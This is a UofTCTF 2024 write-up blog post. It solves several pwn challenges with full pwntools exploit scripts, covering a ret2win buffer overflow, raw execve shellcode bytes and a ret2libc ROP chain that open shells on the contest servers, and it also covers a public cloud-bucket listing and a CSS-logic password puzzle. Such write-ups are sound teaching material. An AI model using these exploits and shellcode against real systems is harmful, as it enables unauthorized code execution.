Post

UofTCTF 2024

pwn/basic-overflow

Challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
This challenge is simple.

It just gets input, stores it to a buffer.

It calls gets to read input, stores the read bytes to a buffer, then exits.

What is gets, you ask? Well, it's time you read the manual, no?

man 3 gets

Cryptic message from author: There are times when you tell them something, but they don't reply. In those cases, you must try again. Don't just shoot one shot; sometimes, they're just not ready yet.

Author: drec

nc 34.123.15.202 5000
Attachment: basic-overflow

Solution

If you decompile the binary with ghidra we see that it does the following:

1
2
3
4
5
6
7
8
int main(void)

{
  char buffer [64];
  
  gets(buffer);
  return 0;
}

This is a classic buffer overflow vulnerability which gives us the ability to redirect code execution. If we take a look at the functions present in the binary:

1
2
3
4
5
6
7
8
$ nm basic-overflow
0000000000404020 B __bss_start
...
0000000000401156 T main
0000000000401136 T shell
0000000000401050 T _start
0000000000404020 D __TMC_END__
$ 

we see a useful shell() function, it obviously pops a shell for us

1
2
3
4
5
6
void shell(void)

{
  execve("/bin/sh",(char **)0x0,(char **)0x0);
  return;
}

Since the binary has no PIE

1
2
3
4
5
6
7
$ pwn checksec --file basic-overflow
[*] '/home/vulnx/Games/CTFs/UofT/pwn/basic-overflow/basic-overflow'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

we can hardcode the address of shell() in our payload. Let’s quickly calculate the offset to RIP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
$ gdb ./basic-overflow -q
pwndbg> b * main +31
Breakpoint 1 at 0x401175
pwndbg> cyclic 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
pwndbg> run
Starting program: /home/vulnx/Games/CTFs/UofT/pwn/basic-overflow/basic-overflow
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

Breakpoint 1, 0x0000000000401175 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────
 RAX  0x0
*RBX  0x7fffffffdef8 —▸ 0x7fffffffe21b ◂— '/home/vulnx/Games/CTFs/UofT/pwn/basic-overflow/basic-overflow'
*RCX  0x7ffff7f958e0 (_IO_2_1_stdin_) ◂— 0xfbad2288
 RDX  0x0
*RDI  0x7ffff7f97720 (_IO_stdfile_0_lock) ◂— 0x0
*RSI  0x4052a1 ◂— 'aaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\n'
*R8   0x405305 ◂— 0x0
 R9   0x0
*R10  0x4
*R11  0x246
 R12  0x0
*R13  0x7fffffffdf08 —▸ 0x7fffffffe259 ◂— 'ALACRITTY_LOG=/tmp/Alacritty-243368.log'
*R14  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2d0 ◂— 0x0
*R15  0x403df0 —▸ 0x401100 ◂— endbr64
*RBP  0x6161616161616169 ('iaaaaaaa')
*RSP  0x7fffffffdde8 ◂— 'jaaaaaaakaaaaaaalaaaaaaamaaa'
*RIP  0x401175 (main+31) ◂— ret
──────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────
 ► 0x401175 <main+31>    ret    <0x616161616161616a>










───────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdde8 ◂— 'jaaaaaaakaaaaaaalaaaaaaamaaa'
01:0008│     0x7fffffffddf0 ◂— 'kaaaaaaalaaaaaaamaaa'
02:0010│     0x7fffffffddf8 ◂— 'laaaaaaamaaa'
03:0018│     0x7fffffffde00 ◂— 0x6161616d /* 'maaa' */
04:0020│     0x7fffffffde08 —▸ 0x7fffffffdef8 —▸ 0x7fffffffe21b ◂— '/home/vulnx/Games/CTFs/UofT/pwn/basic-overflow/basic-overflow'
05:0028│     0x7fffffffde10 —▸ 0x7fffffffdef8 —▸ 0x7fffffffe21b ◂— '/home/vulnx/Games/CTFs/UofT/pwn/basic-overflow/basic-overflow'
06:0030│     0x7fffffffde18 ◂— 0x978d4bf91e909
07:0038│     0x7fffffffde20 ◂— 0x0
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────
 ► 0         0x401175 main+31
   1 0x616161616161616a
   2 0x616161616161616b
   3 0x616161616161616c
   4       0x6161616d
   5   0x7fffffffdef8
   6   0x7fffffffdef8
   7  0x978d4bf91e909
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x616161616161616a
Finding cyclic pattern of 8 bytes: b'jaaaaaaa' (hex: 0x6a61616161616161)
Found at offset 72

so the offset is 72. Let’s make a simple payload to write 72 bytes to fill up the buffer + address of shell() to redirect RIP to it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pwn

p64 = lambda x : pwn.pack(x, word_size=64)

elf = pwn.ELF('./basic-overflow', checksec=False)

p = pwn.remote('34.123.15.202', 5000)

offset = 72
payload  = b''
payload += b'A' * offset
payload += p64(elf.symbols['shell'])

p.sendline(payload)

p.interactive()
1
2
3
4
5
6
7
8
> python solve.py
[+] Opening connection to 34.123.15.202 on port 5000: Done
[*] Switching to interactive mode
$ ls
flag
run
$ cat flag
uoftctf{reading_manuals_is_very_fun}

Flag

uoftctf{reading_manuals_is_very_fun}

pwn/baby-shellcode

Challenge

1
2
3
4
5
6
7
8
9
10
11
12
This challenge is a test to see if you know how to write programs that machines can understand.

Oh, you know how to code?

Write some code into this program, and the program will run it for you.

What programming language, you ask? Well... I said it's the language that machines can understand.

Author: drec

nc 34.28.147.7 5000
Attachment: baby-shellcode

Solution

Since ghidra doesn’t provide sensible decompilation for this program, its better to have a look at its disassembly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ objdump -M intel -d baby-shellcode
baby-shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:   48 81 ec 00 04 00 00    sub    rsp,0x400
  401007:   ba 00 04 00 00          mov    edx,0x400
  40100c:   48 89 e6                mov    rsi,rsp
  40100f:   bf 00 00 00 00          mov    edi,0x0
  401014:   b8 00 00 00 00          mov    eax,0x0
  401019:   0f 05                   syscall
  40101b:   ff e4                   jmp    rsp

If you know basic assembly, this is a standard subroutine to take 0x400 bytes input from stdin and store it in $rsp-0x400:

1
2
3
4
5
6
sub    rsp,0x400
mov    edx,0x400
mov    rsi,rsp
mov    edi,0x0
mov    eax,0x0
syscall

and jmp rsp will attempt to execute the input. By injecting the necessary machine codes when prompted for input, we can leverage the program to open a shell. We can handcraft the shellcode manually or some use common ones from Shell-Storm. Since this is a x86_64 Linux executable, we need to use a shellcode of the same architecture

1
2
$ file baby-shellcode
baby-shellcode: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

I used Linux/x86-64 - execveat(“/bin//sh”) - 29 bytes by ZadYree, vaelio and DaShrooms ( thanks ) So here is the final solve script:

1
2
3
4
5
6
import pwn

p = pwn.remote('34.28.147.7', 5000)
shellcode = b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
p.sendline(shellcode)
p.interactive()
1
2
3
4
5
6
7
8
> python solve.py
[+] Opening connection to 34.28.147.7 on port 5000: Done
[*] Switching to interactive mode
$ ls
flag
run
$ cat flag
uoftctf{arbitrary_machine_code_execution}

Flag

uoftctf{arbitrary_machine_code_execution}

pwn/patched-shell

Challenge

1
2
3
4
5
6
7
8
9
10
Okay, okay. So you were smart enough to do basic overflow huh...

Now try this challenge! I patched the shell function so it calls system instead of execve... so now your exploit shouldn't work! bwahahahahaha

Note: due to the copycat nature of this challenge, it suffers from the same bug that was in basic-overflow. see the cryptic message there for more information.

Author: drec

nc 34.134.173.142 5000
Attachment: patched-shell

Solution

As the description says, the only difference between this challenge and basic-overflow is that the shell() function here uses system() to spawn a shell instead of execve(). If you try to run the previous exploit against the binary, you will see it fails:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
$ cat prev.py
import pwn

p64 = lambda x : pwn.pack(x, word_size=64)

elf = pwn.ELF('./patched-shell', checksec=False)

offset = 72
payload  = b''
payload += b'A' * offset
payload += p64(elf.symbols['shell'])

with open('payload', 'wb') as f:
    f.write(payload)

$ python prev.py

$ gdb ./patched-shell -q
pwndbg> run < payload
Starting program: /home/vulnx/Games/CTFs/UofT/pwn/patched-shell/patched-shell < payload

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e0c44b in do_system (line=0x402004 "/bin/sh") at ../sysdeps/posix/system.c:148
148                (char *const[]){ (char *) SHELL_NAME,
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────
*RAX  0x7ffff7f9d078 (environ) —▸ 0x7fffffffdeb8 —▸ 0x7fffffffe207 ◂— 'ALACRITTY_LOG=/tmp/Alacritty-521067.log'
*RBX  0x7fffffffdc08 ◂— 0xc /* '\x0c' */
*RCX  0x7fffffffdc08 ◂— 0xc /* '\x0c' */
 RDX  0x0
*RDI  0x7fffffffd9f4 ◂— 0xffffda6800000000
*RSI  0x7ffff7f57e34 ◂— 0x68732f6e69622f /* '/bin/sh' */
*R8   0x7fffffffda38 ◂— 0x656d61472f786e6c ('lnx/Game')
*R9   0x7fffffffdeb8 —▸ 0x7fffffffe207 ◂— 'ALACRITTY_LOG=/tmp/Alacritty-521067.log'
*R10  0x8
*R11  0x246
*R12  0x402004 ◂— 0x68732f6e69622f /* '/bin/sh' */
*R13  0x7fffffffdeb8 —▸ 0x7fffffffe207 ◂— 'ALACRITTY_LOG=/tmp/Alacritty-521067.log'
*R14  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2d0 ◂— 0x0
*R15  0x403df0 —▸ 0x401100 ◂— endbr64
*RBP  0x7fffffffda68 ◂— 0x0
*RSP  0x7fffffffd9e8 —▸ 0x7fffffffda60 —▸ 0x4052a0 ◂— 0x4141414141414141 ('AAAAAAAA')
*RIP  0x7ffff7e0c44b (do_system+363) ◂— movaps xmmword ptr [rsp + 0x50], xmm0
──────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────
 ► 0x7ffff7e0c44b <do_system+363>    movaps xmmword ptr [rsp + 0x50], xmm0
   0x7ffff7e0c450 <do_system+368>    call   posix_spawn                <posix_spawn>

   0x7ffff7e0c455 <do_system+373>    mov    rdi, rbx
   0x7ffff7e0c458 <do_system+376>    mov    r12d, eax
   0x7ffff7e0c45b <do_system+379>    call   posix_spawnattr_destroy                <posix_spawnattr_destroy>

   0x7ffff7e0c460 <do_system+384>    test   r12d, r12d
   0x7ffff7e0c463 <do_system+387>    je     do_system+632                <do_system+632>

   0x7ffff7e0c469 <do_system+393>    mov    dword ptr [rsp + 8], 0x7f00
   0x7ffff7e0c471 <do_system+401>    xor    eax, eax
   0x7ffff7e0c473 <do_system+403>    mov    edx, 1
   0x7ffff7e0c478 <do_system+408>    lock cmpxchg dword ptr [rip + 0x18b060], edx <lock>
───────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────────────
In file: /home/vulnx/.cache/debuginfod_client/8bfe03f6bf9b6a6e2591babd0bbc266837d8f658/source##usr##src##debug##glibc##glibc##stdlib##..##sysdeps##posix##system.c
   143   __posix_spawnattr_setsigdefault (&spawn_attr, &reset);
   144   __posix_spawnattr_setflags (&spawn_attr,
   145                               POSIX_SPAWN_SETSIGDEF | POSIX_SPAWN_SETSIGMASK);
   146
   147   ret = __posix_spawn (&pid, SHELL_PATH, 0, &spawn_attr,
 ► 148                        (char *const[]){ (char *) SHELL_NAME,
   149                                         (char *) "-c",
   150                                         (char *) "--",
   151                                         (char *) line, NULL },
   152                        __environ);
   153   __posix_spawnattr_destroy (&spawn_attr);
───────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────
00:0000│ rsp   0x7fffffffd9e8 —▸ 0x7fffffffda60 —▸ 0x4052a0 ◂— 0x4141414141414141 ('AAAAAAAA')
01:0008│ rdi-4 0x7fffffffd9f0 ◂— 0xffffffff
02:0010│-070   0x7fffffffd9f8 —▸ 0x7fffffffda68 ◂— 0x0
03:0018│-068   0x7fffffffda00 —▸ 0x7fffffffdab0 ◂— 0x30 /* '0' */
04:0020│-060   0x7fffffffda08 —▸ 0x7ffff7fcae88 ◂— 0x31700
05:0028│-058   0x7fffffffda10 —▸ 0x7fffffffda68 ◂— 0x0
06:0030│-050   0x7fffffffda18 —▸ 0x7ffff7fcae88 ◂— 0x31700
07:0038│-048   0x7fffffffda20 ◂— 0x0
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────
 ► 0   0x7ffff7e0c44b do_system+363
   1         0x401149 shell+19
   2   0x7fffffffde00
   3         0x40114c main
   4      0x100400040
   5   0x7fffffffdea8
   6   0x7fffffffdea8
   7 0x4e1a419aff9ed7a8
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

It causes a Segmentation Fault at ► 0x7ffff7e0c44b <do_system+363> movaps xmmword ptr [rsp + 0x50], xmm0. This is a well known issue of stack misalignment.

Read more about stack alignment here

Basically since we returned-into or jumped-into the shell() function instead of calling it, the stack isn’t 16-bit aligned anymore. This didn’t affect execve but it does cause system to crash. The workaround is simple, return to a ret instruction before returning to shell(), this will cause the stack to be 16-bit aligned and system will work correctly. Here’s the final solve script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pwn

p64 = lambda x : pwn.pack(x, word_size=64)

elf = pwn.ELF('./patched-shell', checksec=False)
# p = pwn.process('./patched-shell')
p = pwn.remote('34.134.173.142', 5000)

offset = 72
payload  = b''
payload += b'A' * offset
payload += p64(elf.symbols['shell']+21)
payload += p64(elf.symbols['shell'])

p.sendline(payload)

p.interactive()

elf.symbols['shell']+21 points to the final ret instruction of shell() function itself, you can choose any other ret if you wish.

1
2
3
4
5
6
7
8
> python solve.py
[+] Opening connection to 34.134.173.142 on port 5000: Done
[*] Switching to interactive mode
$ ls
flag
run
$ cat flag
uoftctf{patched_the_wrong_function}

Flag

uoftctf{patched_the_wrong_function}

pwn/nothing-to-return

Challenge

1
2
3
4
5
6
7
8
9
10
Now this challenge has a binary of a very small size.

"The binary has no useful gadgets! There is just nothing to return to!"

nice try... ntr

Author: drec

nc 34.30.126.104 5000
Attachment: ld-linux-x86-64.so.2 libc.so.6 nothing-to-return

Solution

Before proceeding with anything, it is a good practice to patch the binary so that it uses the provided libc and loader instead of the default ones from system. This is done to avoid making 2 separate exploits:

  1. one for local environment
  2. other for the remote environment

to patch the binary I used pwninit:

1
$ pwninit

Now we can start with reverse engineering. Ghidra decompiler shows the following source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
int main(EVP_PKEY_CTX *param_1)

{
  char buffer [64];
  
  init(param_1);
  printf("printf is at %p\n",printf);
  puts("Hello give me an input");
  get_input(buffer);
  puts("I\'m returning the input:");
  puts(buffer);
  return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void get_input(void *buffer)

{
  size_t max_size;
  char *input;
  
  puts("Input size:");
  __isoc99_scanf("%lu[^\n]",&max_size);
  input = (char *)calloc(1,max_size);
  fgets(input,(int)max_size,stdin);
  puts("Enter your input:");
  fgets(input,(int)max_size,stdin);
  memcpy(buffer,input,max_size);
  free(input);
  return;
}

Since we are using a secure implementation of fgets there is no buffer overflow in case of input but if you give the input size as anything greater than 64 ( size of buffer ) then memcpy will copy all of that into the 64 byte buffer, thus overflowing it and allowing us to control the return pointer. However, this time we don’t have a special shell() function to help us, so we have to manually do that by constructing a ROP chain:

1
2
3
4
pop rdi ; ret
pointer to /bin/sh
ret     // to fix stack misalignment
address of system()

For that we need gadgets, but the provided binary doesn’t have anything useful

1
2
3
4
5
$ ROPgadget --binary nothing-to-return_patched | grep "pop"
0x000000000040117b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401176 : mov byte ptr [rip + 0x2eeb], 1 ; pop rbp ; ret
0x000000000040128c : nop ; pop rbp ; ret
0x000000000040117d : pop rbp ; ret

So we need to rely on libc to provide gadgets. However since ASLR is enabled the addresses will change and we cannot hardcode them in the solve script. To fix this we need to calculate the libc base at runtime and use that to calculate subsequent gadgets. To find the libc base, we can utilize the leak: printf("printf is at %p\n",printf);. So finally here is the solve script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import pwn

p64 = lambda x : pwn.pack(x, word_size=64)

libc = pwn.ELF('./libc.so.6', checksec=False)
# p = pwn.process('./nothing-to-return_patched')
p = pwn.remote('34.30.126.104', 5000)

p.recvuntil(b'0x')
libc_leak = int( p.recvline(), 16 )
libc_base = libc_leak - libc.symbols['printf']

rop = pwn.ROP(libc)
offset = 72
payload  = b''
payload += b'A' * offset
payload += p64( libc_base + rop.find_gadget(['pop rdi', 'ret']).address )
payload += p64( libc_base + next(libc.search(b'/bin/sh\x00')) )
payload += p64( libc_base + rop.find_gadget(['ret']).address )
payload += p64( libc_base + libc.symbols['system'] )

p.sendlineafter(b'Input size:\n', str(len(payload) + 1).encode())
p.sendlineafter(b'Enter your input:\n', payload)

p.clean()
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
> python solve.py
[+] Opening connection to 34.30.126.104 on port 5000: Done
[*] Loaded 216 cached gadgets for './libc.so.6'
[*] Switching to interactive mode
$ ls
flag
ld-linux-x86-64.so.2
libc.so.6
run
$ cat flag
uoftctf{you_can_always_return}

Flag

uoftctf{you_can_always_return}

misc/Out of the Bucket

Challenge

1
2
3
4
5
Check out my flag website!

Author: windex

https://storage.googleapis.com/out-of-the-bucket/src/index.html

Solution

On visiting the given URL we see 2 real country flags. Viewing the page source code doesn’t reveal anything useful. However its worth nothing that we are at /src/index.html, what happens if we go to the root of the app at https://storage.googleapis.com/out-of-the-bucket, we get the following XML:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<ListBucketResult
    xmlns="http://doc.s3.amazonaws.com/2006-03-01">
    <Name>out-of-the-bucket</Name>
    <Prefix/>
    <Marker/>
    <IsTruncated>false</IsTruncated>
    <Contents>
        <Key>secret/</Key>
        <Generation>1703868492595821</Generation>
        <MetaGeneration>1</MetaGeneration>
        <LastModified>2023-12-29T16:48:12.634Z</LastModified>
        <ETag>"d41d8cd98f00b204e9800998ecf8427e"</ETag>
        <Size>0</Size>
    </Contents>
    <Contents>
        <Key>secret/dont_show</Key>
        <Generation>1703868647771911</Generation>
        <MetaGeneration>1</MetaGeneration>
        <LastModified>2023-12-29T16:50:47.809Z</LastModified>
        <ETag>"737eb19c7265186a2fab89b5c9757049"</ETag>
        <Size>29</Size>
    </Contents>
    <Contents>
        <Key>secret/funny.json</Key>
        <Generation>1705174300570372</Generation>
        <MetaGeneration>1</MetaGeneration>
        <LastModified>2024-01-13T19:31:40.607Z</LastModified>
        <ETag>"d1987ade72e435073728c0b6947a7aee"</ETag>
        <Size>2369</Size>
    </Contents>
    <Contents>
        <Key>src/</Key>
        <Generation>1703867253127898</Generation>
        <MetaGeneration>1</MetaGeneration>
        <LastModified>2023-12-29T16:27:33.166Z</LastModified>
        <ETag>"d41d8cd98f00b204e9800998ecf8427e"</ETag>
        <Size>0</Size>
    </Contents>
    <Contents>
        <Key>src/index.html</Key>
        <Generation>1703867956175503</Generation>
        <MetaGeneration>1</MetaGeneration>
        <LastModified>2023-12-29T16:39:16.214Z</LastModified>
        <ETag>"dc63d7225477ead6f340f3057263643f"</ETag>
        <Size>1134</Size>
    </Contents>
    <Contents>
        <Key>src/static/antwerp.jpg</Key>
        <Generation>1703867372975107</Generation>
        <MetaGeneration>1</MetaGeneration>
        <LastModified>2023-12-29T16:29:33.022Z</LastModified>
        <ETag>"cef4e40eacdf7616f046cc44cc55affc"</ETag>
        <Size>45443</Size>
    </Contents>
    <Contents>
        <Key>src/static/guam.jpg</Key>
        <Generation>1703867372954729</Generation>
        <MetaGeneration>1</MetaGeneration>
        <LastModified>2023-12-29T16:29:32.993Z</LastModified>
        <ETag>"f6350c93168c2955ceee030ca01b8edd"</ETag>
        <Size>48805</Size>
    </Contents>
    <Contents>
        <Key>src/static/style.css</Key>
        <Generation>1703867372917610</Generation>
        <MetaGeneration>1</MetaGeneration>
        <LastModified>2023-12-29T16:29:32.972Z</LastModified>
        <ETag>"0c12d00cc93c2b64eb4cccb3d36df8fd"</ETag>
        <Size>76559</Size>
    </Contents>
</ListBucketResult>

The path secret/dont_show is what caught my attention, so on visiting that page https://storage.googleapis.com/out-of-the-bucket/secret/dont_show we are able to download a file called dont_show which has our flag:

1
2
$ curl https://storage.googleapis.com/out-of-the-bucket/secret/dont_show
uoftctf{allUsers_is_not_safe}

Flag

uoftctf{allUsers_is_not_safe}

Reverse Engineering/CSS Password

Challenge

1
2
3
4
5
6
7
8
My web developer friend said JavaScript is insecure so he made a password vault with CSS. Can you find the password to open the vault?

Wrap the flag in uoftctf{}

Make sure to use a browser that supports the CSS :has selector, such as Firefox 121+ or Chrome 105+. The challenge is verified to work for Firefox 121.0.

Author: notnotpuns
Attachment: css-password.html

Solution

This was definitely a fun challenge. The webpage looks like this: css-password.html We have 19 bytes (length of the flag), each byte has 8 switches which represent the 8 bits of a bite. The switches can have 2 states:

  1. set - 1
  2. reset - 0

when the correct state is chosen for all bits the LEDs turn green. Our goal is to find that correct combination. From what I understand, all the LEDs are inherently green, but exactly above them are placed multiple layers of red LEDs. If a correct bit state is chosen, one of these overlaying red LEDs is removed, eventually when all bits are in correct state, all of the overlaying red LEDs will be removed, leaving behind the original green LEDs. Here is how they use CSS to handle the logic:

1
2
3
4
5
6
7
8
9
10
11
        /* LED1 */
        /* b1_7_l1_c1 */
        .wrapper:has(.byte:nth-child(1) .latch:nth-child(7) .latch__reset:active) .checker:nth-of-type(2) .checker__state:nth-child(1) {
            transform: translateX(0%);
            transition: transform 0s;
        }

        .wrapper:has(.byte:nth-child(1) .latch:nth-child(7) .latch__set:active) .checker:nth-of-type(2) .checker__state:nth-child(1) {
            transform: translateX(-100%);
            transition: transform 0s;
        }

This tells us that if the 7th bit of the 1st byte is reset then the red LED layer will stay there, whereas if the bit is set then the LED layer is removed translateX(-100%)

Manually setting each bit is time consuming and not feasible so I wrote a simple python script to find the required state of each bit, represent them by corresponding 0/1 digit, and convert that to ASCII text.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import re

with open('css-password.html') as f:
    html = f.read()

# Use regex to find the bits data
data = re.findall('.wrapper:has\(.byte:nth-child\((\d+)\) .latch:nth-child\((\d+)\) .latch__(\w+):active\) .checker:nth-of-type\(\d+\) .checker__state:nth-child\(\d+\) {\n\s+transform: translateX\(-100%\);', html)

# Sort them byte wise
data = sorted(data, key=lambda x : int(x[0]))

# Sort all bits in individual bytes
data_copy = data
data = []
for i in range(0, len(data_copy), 8):
    data.append(data_copy[i:i+8])
for idx, byte in enumerate(data):
    sorted_byte = sorted(byte, key=lambda x : int(x[1]))
    data[idx] = sorted_byte
data = [ bit for byte in data for bit in byte ]

# Convert the set/reset combination to 1/0 respectively
binary = ''.join( '1' if bit[2] == 'set' else '0' for bit in data )

# Convert binary to ascii and print the flag
flag = ''.join( chr(int(binary[i:i+8], 2)) for i in range(0, len(binary), 8) )
flag = 'uoftctf{' + flag + '}'
print(flag)

Not the most efficient way, but it works

1
2
$ python solve.py
uoftctf{CsS_l0g1c_is_fun_3h}

Flag

uoftctf{CsS_l0g1c_is_fun_3h}

This post is licensed under CC BY 4.0 by the author.